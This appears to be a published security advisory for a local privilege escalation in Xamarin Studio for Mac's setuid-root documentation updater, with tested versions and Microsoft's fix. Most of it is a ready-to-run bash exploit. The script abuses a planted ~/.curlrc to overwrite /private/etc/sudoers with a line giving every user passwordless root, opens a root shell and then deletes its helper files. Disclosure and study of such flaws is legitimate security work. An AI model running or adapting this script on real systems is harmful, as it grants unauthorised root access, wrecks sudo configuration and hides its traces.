Xamarin Studio for Mac 6.2.1 (build 3)/6.3 (build 863) - Privilege Escalation

Source: https://www.securify.nl/advisory/SFY20170403/xamarin-studio-for-mac-api-documentation-update-affected-by-local-privilege-escalation.html

Abstract

Xamarin Studio is an Integrated Development Environment (IDE) used to create iOS, Mac and Android applications. Xamarin Studio supports developments in C# and F# (by default). The API documentation update mechanism of Xamarin Studio for Mac is installed as setuid root. This update mechanism contains several flaws that could be leveraged by a local attacker to gain elevated (root) privileges.

Tested versions

This issue was successfully verified on Xamarin Studio for Mac version 6.2.1 (build 3) and version 6.3 (build 863).

Fix

Microsoft released a new version of Xamarin.iOS that addresses this issue:
- Security update for the elevation of privilege vulnerability for Xamarin.iOS: August 14, 2017 (4037359)

#!/bin/bash
# WARNING: this scripts overwrites ~/.curlrc and /private/etc/sudoers (when successful)
#target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.6.0.10/share/doc/MonoTouch/apple-doc-wizard
target=/Library/Frameworks/Xamarin.iOS.framework/Versions/10.8.0.175/share/doc/MonoTouch/apple-doc-wizard
rm -rf ~/Library/Developer/Shared/Documentation/DocSets
  
cat << __EOF > /private/tmp/sudoers
%everyone   ALL=(ALL) NOPASSWD: ALL
__EOF
  
cat << __EOF > ~/.curlrc
url=file:///private/tmp/sudoers
output=/private/etc/sudoers
__EOF
  
echo
echo "*** press CRL+C when the download starts ***"
$target
echo
  
sudo -- sh -c 'rm -rf /private/tmp/ios-docs-download.*; su -'
  
rm -f /private/tmp/sudoers ~/.curlrc